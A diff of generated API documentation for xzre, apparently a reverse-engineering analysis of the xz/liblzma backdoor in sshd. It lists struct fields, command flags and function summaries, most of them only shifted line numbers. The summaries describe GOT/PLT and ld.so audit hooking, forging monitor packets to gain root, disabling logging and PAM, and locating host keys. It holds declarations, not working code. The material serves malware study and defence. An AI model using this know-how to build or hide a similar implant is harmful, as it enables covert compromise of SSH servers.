ELF context for libcrypto.so.
Definition: xzre.h:1750
-
elf_info_t dynamic_linker_info
ELF context for ld.so.
Definition: xzre.h:1741
-
elf_info_t main_info
this is for sshd itself
Definition: xzre.h:1735
-
lzma_allocator * import_resolver
ELF import resolver (fake LZMA allocator)
Definition: xzre.h:1765
-
struct link_map * dynamic_linker_map
this is for ld.so
Definition: xzre.h:1720
-
Definition: xzre.h:1580
-
Definition: xzre.h:1559
-
Definition: xzre.h:1608
-
Definition: xzre.h:1404
-
Definition: xzre.h:1787
-
void * EVP_PKEY_set1_RSA_plt
address of the PLT for EVP_PKEY_set1_RSA_plt() in sshd
Definition: xzre.h:1799
-
void * RSA_get0_key_plt
address of the PLT for RSA_get0_key_plt() in sshd
Definition: xzre.h:1804
-
void * RSA_public_decrypt_plt
address of the PLT for RSA_public_decrypt() in sshd
Definition: xzre.h:1794
-
Definition: xzre.h:2101
-
ptrdiff_t tls_get_addr_plt_offset
offset from the symbol __tls_get_addr() to the PLT
Definition: xzre.h:2107
-
ptrdiff_t tls_get_addr_random_symbol_got_offset
offset from the symbol tls_get_addr_random_symbol to the GOT
Definition: xzre.h:2113
-
Definition: xzre.h:1865
-
Definition: xzre.h:718
-
u8 flags2
see InstructionFlags2
Definition: xzre.h:730
-
u8 flags
see InstructionFlags
Definition: xzre.h:726
-
Definition: xzre.h:3169
-
Definition: xzre.h:663
-
void * symbol_ptr
points to a symbol in memory will be used to find the GOT value
Definition: xzre.h:668
-
u64 * frame_address
stores the value of __builtin_frame_address(0)-16
Definition: xzre.h:673
-
Definition: xzre.h:2120
-
array of ELF handles
Definition: xzre.h:1625
-
elf_info_t * dynamic_linker
ELF context for ld.so.
Definition: xzre.h:1636
-
elf_info_t * main
this is for sshd
Definition: xzre.h:1630
-
Definition: xzre.h:815
-
u64 code_segment_size
page-aligned virtual size of the first executable ELF segment
Definition: xzre.h:894
-
u64 first_vaddr
virtual address of the first program header
Definition: xzre.h:823
-
u64 gnurelro_memsize
size of the GNU relro segment
Definition: xzre.h:869
-
Elf64_Verdef * verdef
pointer to the EFL symbol versioning (from DT_VERDEF)
Definition: xzre.h:873
-
u32 gnu_hash_last_bloom
last valid bloom value
Definition: xzre.h:911
-
Elf64_Dyn * dyn
pointer to the ELF dynamic segment
Definition: xzre.h:835
-
char * strtab
pointer to the ELF string table
Definition: xzre.h:843
-
Elf64_Phdr * phdrs
pointer to the ELF program headers array in memory
Definition: xzre.h:827
-
u32 gnu_hash_nbuckets
number of GNU hash buckets (from DT_GNU_HASH)
Definition: xzre.h:907
-
Elf64_Ehdr * elfbase
pointed to the ELF base address in memory
Definition: xzre.h:819
-
u64 e_phnum
copy of the ELF program header count from the ELF header
Definition: xzre.h:831
-
Elf64_Rela * plt_relocs
pointer to the ELF PLT relocations table
Definition: xzre.h:851
-
BOOL gnurelro_found
whether the loaded ELF contains PT_GNU_RELRO or not which specifies the location and size of a segmen...
Definition: xzre.h:861
-
u64 code_segment_start
page-aligned virtual address of the first executable ELF segment
Definition: xzre.h:889
-
u64 verdef_num
number of entries in the symbol versioning table
Definition: xzre.h:877
-
u64 gnurelro_vaddr
location of the GNU relro segment
Definition: xzre.h:865
-
Elf64_Sym * symtab
pointer to the ELF symbol table
Definition: xzre.h:847
-
u64 dyn_num_entries
number of entries in the ELF dynamic segment
Definition: xzre.h:839
-
u32 plt_relocs_num
number of entries in the PLT relocation table
Definition: xzre.h:855
-
Definition: xzre.h:2150
-
Definition: xzre.h:1276
-
void * lzma_code_end
liblzma code segment end
Definition: xzre.h:1343
-
libc_imports_t * libc_imports
pointer to the structure containing resolved libc functions
Definition: xzre.h:1286
-
char * STR_ssh_rsa_cert_v01_openssh_com
location of sshd .rodata string "ssh-rsa-cert-v01@openssh.com"
Definition: xzre.h:1304
-
BOOL disable_backdoor
This flag gets set to TRUE by run_backdoor_commands if any of the validity checks fail,...
Definition: xzre.h:1296
-
imported_funcs_t * imported_funcs
pointer to the structure containing resolved OpenSSL functions
Definition: xzre.h:1282
-
void * sshd_data_start
sshd data segment end
Definition: xzre.h:1324
-
u32 num_shifted_bits
number of bits copied
Definition: xzre.h:1368
-
void * sshd_code_start
sshd code segment start
Definition: xzre.h:1316
-
void * sshd_data_end
sshd data segment start
Definition: xzre.h:1328
-
char * STR_rsa_sha2_256
location of sshd .rodata string "rsa-sha2-256"
Definition: xzre.h:1308
-
void * sshd_code_end
sshd code segment end
Definition: xzre.h:1320
-
void * lzma_code_start
liblzma code segment start
Definition: xzre.h:1336
+
Definition: xzre.h:2080
+
ptrdiff_t backdoor_init_stage2_got_offset
offset from the symbol backdoor_init_stage2() to the GOT
Definition: xzre.h:2098
+
ptrdiff_t cpuid_random_symbol_got_offset
offset from the symbol cpuid_random_symbol to the GOT
Definition: xzre.h:2086
+
u64 cpuid_got_index
index in the GOT for _cpuid()
Definition: xzre.h:2092
+
data passed to functions that access the backdoor data
Definition: xzre.h:1670
+
this structure is used to hold most of the backdoor information. it's used as a local variable in fun...
Definition: xzre.h:1715
+
libc_imports_t libc_imports
functions imported from libc
Definition: xzre.h:1760
+
string_references_t string_refs
information about resolved string references and the containing functions boundaries
Definition: xzre.h:1765
+
struct link_map * main_map
this is for sshd itself
Definition: xzre.h:1720
+
elf_info_t libc_info
ELF context for libc.so.
Definition: xzre.h:1750
+
elf_info_t libcrypto_info
ELF context for libcrypto.so.
Definition: xzre.h:1755
+
elf_info_t dynamic_linker_info
ELF context for ld.so.
Definition: xzre.h:1746
+
elf_info_t main_info
this is for sshd itself
Definition: xzre.h:1740
+
lzma_allocator * import_resolver
ELF import resolver (fake LZMA allocator)
Definition: xzre.h:1770
+
struct link_map * dynamic_linker_map
this is for ld.so
Definition: xzre.h:1725
+
Definition: xzre.h:1585
+
Definition: xzre.h:1564
+
Definition: xzre.h:1613
+
Definition: xzre.h:1409
+
Definition: xzre.h:1792
+
void * EVP_PKEY_set1_RSA_plt
address of the PLT for EVP_PKEY_set1_RSA_plt() in sshd
Definition: xzre.h:1804
+
void * RSA_get0_key_plt
address of the PLT for RSA_get0_key_plt() in sshd
Definition: xzre.h:1809
+
void * RSA_public_decrypt_plt
address of the PLT for RSA_public_decrypt() in sshd
Definition: xzre.h:1799
+
Definition: xzre.h:2106
+
ptrdiff_t tls_get_addr_plt_offset
offset from the symbol __tls_get_addr() to the PLT
Definition: xzre.h:2112
+
ptrdiff_t tls_get_addr_random_symbol_got_offset
offset from the symbol tls_get_addr_random_symbol to the GOT
Definition: xzre.h:2118
+
Definition: xzre.h:1870
+
Definition: xzre.h:723
+
u8 flags2
see InstructionFlags2
Definition: xzre.h:735
+
u8 flags
see InstructionFlags
Definition: xzre.h:731
+
Definition: xzre.h:3174
+
Definition: xzre.h:668
+
void * symbol_ptr
points to a symbol in memory will be used to find the GOT value
Definition: xzre.h:673
+
u64 * frame_address
stores the value of __builtin_frame_address(0)-16
Definition: xzre.h:678
+
Definition: xzre.h:2125
+
array of ELF handles
Definition: xzre.h:1630
+
elf_info_t * dynamic_linker
ELF context for ld.so.
Definition: xzre.h:1641
+
elf_info_t * main
this is for sshd
Definition: xzre.h:1635
+
Definition: xzre.h:820
+
u64 code_segment_size
page-aligned virtual size of the first executable ELF segment
Definition: xzre.h:899
+
u64 first_vaddr
virtual address of the first program header
Definition: xzre.h:828
+
u64 gnurelro_memsize
size of the GNU relro segment
Definition: xzre.h:874
+
Elf64_Verdef * verdef
pointer to the EFL symbol versioning (from DT_VERDEF)
Definition: xzre.h:878
+
u32 gnu_hash_last_bloom
last valid bloom value
Definition: xzre.h:916
+
Elf64_Dyn * dyn
pointer to the ELF dynamic segment
Definition: xzre.h:840
+
char * strtab
pointer to the ELF string table
Definition: xzre.h:848
+
Elf64_Phdr * phdrs
pointer to the ELF program headers array in memory
Definition: xzre.h:832
+
u32 gnu_hash_nbuckets
number of GNU hash buckets (from DT_GNU_HASH)
Definition: xzre.h:912
+
Elf64_Ehdr * elfbase
pointed to the ELF base address in memory
Definition: xzre.h:824
+
u64 e_phnum
copy of the ELF program header count from the ELF header
Definition: xzre.h:836
+
Elf64_Rela * plt_relocs
pointer to the ELF PLT relocations table
Definition: xzre.h:856
+
BOOL gnurelro_found
whether the loaded ELF contains PT_GNU_RELRO or not which specifies the location and size of a segmen...
Definition: xzre.h:866
+
u64 code_segment_start
page-aligned virtual address of the first executable ELF segment
Definition: xzre.h:894
+
u64 verdef_num
number of entries in the symbol versioning table
Definition: xzre.h:882
+
u64 gnurelro_vaddr
location of the GNU relro segment
Definition: xzre.h:870
+
Elf64_Sym * symtab
pointer to the ELF symbol table
Definition: xzre.h:852
+
u64 dyn_num_entries
number of entries in the ELF dynamic segment
Definition: xzre.h:844
+
u32 plt_relocs_num
number of entries in the PLT relocation table
Definition: xzre.h:860
+
Definition: xzre.h:2155
+
Definition: xzre.h:1281
+
void * lzma_code_end
liblzma code segment end
Definition: xzre.h:1348
+
libc_imports_t * libc_imports
pointer to the structure containing resolved libc functions
Definition: xzre.h:1291
+
char * STR_ssh_rsa_cert_v01_openssh_com
location of sshd .rodata string "ssh-rsa-cert-v01@openssh.com"
Definition: xzre.h:1309
+
BOOL disable_backdoor
This flag gets set to TRUE by run_backdoor_commands if any of the validity checks fail,...
Definition: xzre.h:1301
+
imported_funcs_t * imported_funcs
pointer to the structure containing resolved OpenSSL functions
Definition: xzre.h:1287
+
void * sshd_data_start
sshd data segment end
Definition: xzre.h:1329
+
u32 num_shifted_bits
number of bits copied
Definition: xzre.h:1373
+
void * sshd_code_start
sshd code segment start
Definition: xzre.h:1321
+
void * sshd_data_end
sshd data segment start
Definition: xzre.h:1333
+
char * STR_rsa_sha2_256
location of sshd .rodata string "rsa-sha2-256"
Definition: xzre.h:1313
+
void * sshd_code_end
sshd code segment end
Definition: xzre.h:1325
+
void * lzma_code_start
liblzma code segment start
Definition: xzre.h:1341
Definition: xzre.h:193
-
Definition: xzre.h:634
-
void * return_address
the return address value of the caller obtained from *(u64 *)(caller_locals+24) since the entrypoint ...
Definition: xzre.h:645
-
void * cpuid_fn
points to the real cpuid function
Definition: xzre.h:649
-
void * got_ptr
points to the Global Offset Table
Definition: xzre.h:638
-
ptrdiff_t got_offset
holds the offset of the symbol relative to the GOT. used to derive the got_ptr
Definition: xzre.h:654
-
Definition: xzre.h:1000
-
void * RSA_public_decrypt_plt
address of the PLT for RSA_public_decrypt() in sshd
Definition: xzre.h:1011
-
void * RSA_get0_key_plt
address of the PLT for RSA_get0_key() in sshd
Definition: xzre.h:1021
-
void * EVP_PKEY_set1_RSA_plt
address of the PLT for EVP_PKEY_set1_RSA() in sshd
Definition: xzre.h:1016
-
Definition: xzre.h:2161
-
BOOL result
TRUE if the instruction sequence was found, FALSE otherwise.
Definition: xzre.h:2187
-
u8 * offset_to_match
offset to match in the instruction displacement
Definition: xzre.h:2176
-
u8 * start_addr
start of the code address range to search
Definition: xzre.h:2166
-
u8 * end_addr
start of the code address range to search
Definition: xzre.h:2171
-
u32 * output_register_to_match
register to match as the instruction output
Definition: xzre.h:2181
-
Definition: xzre.h:1968
-
Definition: xzre.h:1872
-
the payload header. also used as Chacha IV
Definition: xzre.h:1854
-
the contents of the RSA 'n' field
Definition: xzre.h:1886
-
Definition: xzre.h:1418
-
u8 link_map_l_audit_any_plt_bitmask
bitmask that sets the link_map::l_audit_any_plt flag
Definition: xzre.h:1469
-
unsigned int * _dl_naudit_ptr
location of ld.so's _rtld_global_ro::_dl_naudit_ptr field
Definition: xzre.h:1488
-
u32 * sshd_auditstate_bindflags_ptr
the location of sshd's auditstate::bindflags field
Definition: xzre.h:1447
-
char ** libcrypto_l_name
location of libcrypto's link_map::l_name field
Definition: xzre.h:1505
-
size_t _dl_audit_symbind_alt__size
code size of ld.so's _dl_audit_symbind_alt() function
Definition: xzre.h:1517
-
u32 libcrypto_auditstate_bindflags_old_value
backup of the old value of libcrypto's libname_list::next field
Definition: xzre.h:1435
-
struct audit_ifaces ** _dl_audit_ptr
location of ld.so's _rtld_global_ro::_dl_audit_ptr field
Definition: xzre.h:1479
-
void * sshd_link_map_l_audit_any_plt_addr
location of sshd's link_map::l_audit_any_plt flag
Definition: xzre.h:1462
-
u32 * libcrypto_auditstate_bindflags_ptr
the location of libcrypto's auditstate::bindflags field
Definition: xzre.h:1430
-
u32 sshd_auditstate_bindflags_old_value
backup of the old value of sshd's libname_list::next field
Definition: xzre.h:1452
-
Definition: xzre.h:955
+
Definition: xzre.h:639
+
void * return_address
the return address value of the caller obtained from *(u64 *)(caller_locals+24) since the entrypoint ...
Definition: xzre.h:650
+
void * cpuid_fn
points to the real cpuid function
Definition: xzre.h:654
+
void * got_ptr
points to the Global Offset Table
Definition: xzre.h:643
+
ptrdiff_t got_offset
holds the offset of the symbol relative to the GOT. used to derive the got_ptr
Definition: xzre.h:659
+
Definition: xzre.h:1005
+
void * RSA_public_decrypt_plt
address of the PLT for RSA_public_decrypt() in sshd
Definition: xzre.h:1016
+
void * RSA_get0_key_plt
address of the PLT for RSA_get0_key() in sshd
Definition: xzre.h:1026
+
void * EVP_PKEY_set1_RSA_plt
address of the PLT for EVP_PKEY_set1_RSA() in sshd
Definition: xzre.h:1021
+
Definition: xzre.h:2166
+
BOOL result
TRUE if the instruction sequence was found, FALSE otherwise.
Definition: xzre.h:2192
+
u8 * offset_to_match
offset to match in the instruction displacement
Definition: xzre.h:2181
+
u8 * start_addr
start of the code address range to search
Definition: xzre.h:2171
+
u8 * end_addr
start of the code address range to search
Definition: xzre.h:2176
+
u32 * output_register_to_match
register to match as the instruction output
Definition: xzre.h:2186
+
Definition: xzre.h:1973
+
Definition: xzre.h:1877
+
the payload header. also used as Chacha IV
Definition: xzre.h:1859
+
the contents of the RSA 'n' field
Definition: xzre.h:1891
+
Definition: xzre.h:1423
+
u8 link_map_l_audit_any_plt_bitmask
bitmask that sets the link_map::l_audit_any_plt flag
Definition: xzre.h:1474
+
unsigned int * _dl_naudit_ptr
location of ld.so's _rtld_global_ro::_dl_naudit_ptr field
Definition: xzre.h:1493
+
u32 * sshd_auditstate_bindflags_ptr
the location of sshd's auditstate::bindflags field
Definition: xzre.h:1452
+
char ** libcrypto_l_name
location of libcrypto's link_map::l_name field
Definition: xzre.h:1510
+
size_t _dl_audit_symbind_alt__size
code size of ld.so's _dl_audit_symbind_alt() function
Definition: xzre.h:1522
+
u32 libcrypto_auditstate_bindflags_old_value
backup of the old value of libcrypto's libname_list::next field
Definition: xzre.h:1440
+
struct audit_ifaces ** _dl_audit_ptr
location of ld.so's _rtld_global_ro::_dl_audit_ptr field
Definition: xzre.h:1484
+
void * sshd_link_map_l_audit_any_plt_addr
location of sshd's link_map::l_audit_any_plt flag
Definition: xzre.h:1467
+
u32 * libcrypto_auditstate_bindflags_ptr
the location of libcrypto's auditstate::bindflags field
Definition: xzre.h:1435
+
u32 sshd_auditstate_bindflags_old_value
backup of the old value of sshd's libname_list::next field
Definition: xzre.h:1457
+
Definition: xzre.h:960
Structure to hold internal state of the check being calculated.
Definition: xzre.h:280
State for the internal SHA-256 implementation.
Definition: xzre.h:268
uint64_t size
Size of the message excluding padding.
Definition: xzre.h:273
-
Definition: xzre.h:1649
-
data used within sshd_proxy_elevate
Definition: xzre.h:1990
-
struct monitor from openssh-portable
Definition: xzre.h:578
-
stack frame layout for run_backdoor_commands
Definition: xzre.h:2027
-
Definition: xzre.h:1834
-
struct sensitive_data from openssh-portable
Definition: xzre.h:590
-
Definition: xzre.h:1120
-
Definition: xzre.h:1203
-
Definition: xzre.h:1256
-
Definition: xzre.h:1261
-
Definition: xzre.h:1273
-
struct sshkey from openssh-portable
Definition: xzre.h:601
-
Definition: xzre.h:1673
-
void * func_start
the starting address of the function that referenced the string
Definition: xzre.h:1682
-
EncodedStringId string_id
the string that was referenced, in encoded form
Definition: xzre.h:1677
-
void * xref
location of the instruction that referenced the string
Definition: xzre.h:1690
-
void * func_end
the ending address of the function that referenced the string
Definition: xzre.h:1686
-
Definition: xzre.h:1699
-
union used within run_backdoor_commands
Definition: xzre.h:2014
-
represents a shift register, which will shift a '1' into the secret data array. the low 3 bits repres...
Definition: xzre.h:1823
-
u32 index
Definition: xzre.h:1825
-
u32 byte_index
Definition: xzre.h:1830
-
u32 bit_index
Definition: xzre.h:1828
-
Definition: xzre.h:1240
-
Definition: xzre.h:1248
-
Definition: xzre.h:1860
+
Definition: xzre.h:1654
+
data used within sshd_proxy_elevate
Definition: xzre.h:1995
+
struct monitor from openssh-portable
Definition: xzre.h:583
+
stack frame layout for run_backdoor_commands
Definition: xzre.h:2032
+
Definition: xzre.h:1839
+
struct sensitive_data from openssh-portable
Definition: xzre.h:595
+
Definition: xzre.h:1125
+
Definition: xzre.h:1208
+
Definition: xzre.h:1261
+
Definition: xzre.h:1266
+
Definition: xzre.h:1278
+
struct sshkey from openssh-portable
Definition: xzre.h:606
+
Definition: xzre.h:1678
+
void * func_start
the starting address of the function that referenced the string
Definition: xzre.h:1687
+
EncodedStringId string_id
the string that was referenced, in encoded form
Definition: xzre.h:1682
+
void * xref
location of the instruction that referenced the string
Definition: xzre.h:1695
+
void * func_end
the ending address of the function that referenced the string
Definition: xzre.h:1691
+
Definition: xzre.h:1704
+
union used within run_backdoor_commands
Definition: xzre.h:2019
+
represents a shift register, which will shift a '1' into the secret data array. the low 3 bits repres...
Definition: xzre.h:1828
+
u32 index
Definition: xzre.h:1830
+
u32 byte_index
Definition: xzre.h:1835
+
u32 bit_index
Definition: xzre.h:1833
+
Definition: xzre.h:1245
+
Definition: xzre.h:1253
+
Definition: xzre.h:1865
BOOL elf_find_function_pointer(StringXrefId xref_id, void **pOutCodeStart, void **pOutCodeEnd, void **pOutFptrAddr, elf_info_t *elf_info, string_references_t *xrefs, global_context_t *ctx)
this function searches for a function pointer, pointing to a function designated by the given xref_id
fake_lzma_allocator_t * get_lzma_allocator_address(void)
gets the address of the fake LZMA allocator
BOOL elf_parse(Elf64_Ehdr *ehdr, elf_info_t *elf_info)
Parses the given in-memory ELF file into elf_info.
@@ -2419,15 +2424,15 @@
backdoor_hooks_data_t * hooks_data_addr
location of backdoor_hooks_data_t
BOOL sha256(const void *data, size_t count, u8 *mdBuf, u64 mdBufSize, imported_funcs_t *funcs)
computes the SHA256 hash of the supplied data
BOOL find_mov_instruction(u8 *code_start, u8 *code_end, BOOL is_64bit_operand, BOOL load_flag, dasm_ctx_t *dctx)
finds a MOV instruction.
-
ElfId
Definition: xzre.h:395
-
@ X_ELF_MAIN
this is for sshd itself
Definition: xzre.h:400
+
ElfId
Definition: xzre.h:400
+
@ X_ELF_MAIN
this is for sshd itself
Definition: xzre.h:405
int init_hooks_ctx(backdoor_hooks_ctx_t *ctx)
Initializes the structure with hooks-related data.
-
CommandFlags2
Definition: xzre.h:1917
-
@ X_FLAGS2_CHANGE_MONITOR_REQ
if set, changes the monitor_reqtype field from MONITOR_REQ_AUTHPASSWORD to what's contained in the pa...
Definition: xzre.h:1927
-
@ X_FLAGS2_PSELECT
executes pselect, then exit not compatible with command 2
Definition: xzre.h:1941
-
@ X_FLAGS2_CONTINUATION
more data available in the following packet not compatible with command 3
Definition: xzre.h:1936
-
@ X_FLAGS2_SOCKFD_MASK
(0111_1000 >> 3) & 0xF when CMDF_SOCKET_INDEX is specified
Definition: xzre.h:1948
-
@ X_FLAGS2_IMPERSONATE
if set, impersonate a user (info from payload) if not set, impersonate root
Definition: xzre.h:1922
+
CommandFlags2
Definition: xzre.h:1922
+
@ X_FLAGS2_CHANGE_MONITOR_REQ
if set, changes the monitor_reqtype field from MONITOR_REQ_AUTHPASSWORD to what's contained in the pa...
Definition: xzre.h:1932
+
@ X_FLAGS2_PSELECT
executes pselect, then exit not compatible with command 2
Definition: xzre.h:1946
+
@ X_FLAGS2_CONTINUATION
more data available in the following packet not compatible with command 3
Definition: xzre.h:1941
+
@ X_FLAGS2_SOCKFD_MASK
(0111_1000 >> 3) & 0xF when CMDF_SOCKET_INDEX is specified
Definition: xzre.h:1953
+
@ X_FLAGS2_IMPERSONATE
if set, impersonate a user (info from payload) if not set, impersonate root
Definition: xzre.h:1927
struct key_payload_hdr key_payload_hdr_t
the payload header. also used as Chacha IV
BOOL find_call_instruction(u8 *code_start, u8 *code_end, u8 *call_target, dasm_ctx_t *dctx)
finds a call instruction
const elf_functions_t elf_functions
special .data.rel.ro section that contains addresses to various functions
@@ -2445,12 +2450,12 @@
BOOL is_range_mapped(u8 *addr, u64 length, global_context_t *ctx)
verify if a memory range is mapped
int sshd_get_sensitive_data_score_in_do_child(void *sensitive_data, elf_info_t *elf, string_references_t *refs)
obtains a numeric score which indicates if do_child accesses sensitive_data or not
BOOL sshd_find_sensitive_data(elf_info_t *sshd, elf_info_t *libcrypto, string_references_t *refs, imported_funcs_t *funcs, global_context_t *ctx)
locates sensitive_data within sshd, and resolves some additional libcrypto functions
-
CommandFlags1
Definition: xzre.h:1894
-
@ X_FLAGS1_SETLOGMASK
disable all logging by setting mask 0x80000000
Definition: xzre.h:1902
-
@ X_FLAGS1_NO_EXTENDED_SIZE
if set, the union size field must be 0
Definition: xzre.h:1914
-
@ X_FLAGS1_SOCKET_INDEX
custom monitor socket index override
Definition: xzre.h:1906
-
@ X_FLAGS1_8BYTES
the data block contains 8 additional bytes
Definition: xzre.h:1898
-
@ X_FLAGS1_DISABLE_PAM
if set, disables PAM authentication
Definition: xzre.h:1910
+
CommandFlags1
Definition: xzre.h:1899
+
@ X_FLAGS1_SETLOGMASK
disable all logging by setting mask 0x80000000
Definition: xzre.h:1907
+
@ X_FLAGS1_NO_EXTENDED_SIZE
if set, the union size field must be 0
Definition: xzre.h:1919
+
@ X_FLAGS1_SOCKET_INDEX
custom monitor socket index override
Definition: xzre.h:1911
+
@ X_FLAGS1_8BYTES
the data block contains 8 additional bytes
Definition: xzre.h:1903
+
@ X_FLAGS1_DISABLE_PAM
if set, disables PAM authentication
Definition: xzre.h:1915
void update_cpuid_got_index(elf_entry_ctx_t *ctx)
get the cpuid() GOT index
BOOL sshd_proxy_elevate(monitor_data_t *args, global_context_t *ctx)
forges a new MONITOR_REQ_KEYALLOWED packet, and injects it into the server to gain root privileges th...
uintptr_t backdoor_symbind64(Elf64_Sym *sym, unsigned int ndx, uptr *refcook, uptr *defcook, unsigned int flags, const char *symname)
the backdoored symbind64 installed in GLRO(dl_audit)
@@ -2468,7 +2473,7 @@
BOOL find_lea_instruction_with_mem_operand(u8 *code_start, u8 *code_end, dasm_ctx_t *dctx, void *mem_address)
finds a LEA instruction with an immediate memory operand
const backdoor_cpuid_reloc_consts_t cpuid_reloc_consts
special .rodata section that contains _cpuid() related GOT offsets
BOOL sshd_get_sensitive_data_address_via_krb5ccname(u8 *data_start, u8 *data_end, u8 *code_start, u8 *code_end, void **sensitive_data_out, elf_info_t *elf)
finds the address of sensitive_data.host_keys in sshd by using getenv( STR_KRB5CCNAME )
-
struct backdoor_data backdoor_data_t
this structure is used to hold most of the backdoor information. it's used as a local variable in fun...
Definition: xzre.h:1660
+
struct backdoor_data backdoor_data_t
this structure is used to hold most of the backdoor information. it's used as a local variable in fun...
Definition: xzre.h:1665
u8 * find_string_reference(u8 *code_start, u8 *code_end, const char *str)
finds an instruction that references the given string
int sshd_get_sensitive_data_score(void *sensitive_data, elf_info_t *elf, string_references_t *refs)
obtains a numeric score which indicates if accesses sensitive_data or not
BOOL secret_data_get_decrypted(u8 *output, global_context_t *ctx)
obtains a decrypted copy of the secret data
@@ -2507,9 +2512,9 @@
void * find_addr_referenced_in_mov_instruction(StringXrefId id, string_references_t *refs, void *mem_range_start, void *mem_range_end)
find an address referenced in a function
u32 resolver_call_count
counts the number of times the IFUNC resolver is called
BOOL sshd_configure_log_hook(cmd_arguments_t *cmd_flags, global_context_t *ctx)
configure the log hook
-
CommandFlags3
Definition: xzre.h:1951
-
@ X_FLAGS3_MONITOR_REQ_VAL
6 bits used to store the monitor req / 2 (might be unused)
Definition: xzre.h:1959
-
@ X_FLAGS3_SOCKET_NUM
5 bits used to store number of sockets (in cmd3)
Definition: xzre.h:1955
+
CommandFlags3
Definition: xzre.h:1956
+
@ X_FLAGS3_MONITOR_REQ_VAL
6 bits used to store the monitor req / 2 (might be unused)
Definition: xzre.h:1964
+
@ X_FLAGS3_SOCKET_NUM
5 bits used to store number of sockets (in cmd3)
Definition: xzre.h:1960
struct monitor_data monitor_data_t
data used within sshd_proxy_elevate
const u64 cpuid_random_symbol
a bogus global variable that is used by the backdoor to generate an extra symbol
void * elf_get_got_symbol(elf_info_t *elf_info, EncodedStringId encoded_string_id)
Gets the GOT symbol with name encoded_string_id from the parsed ELF file.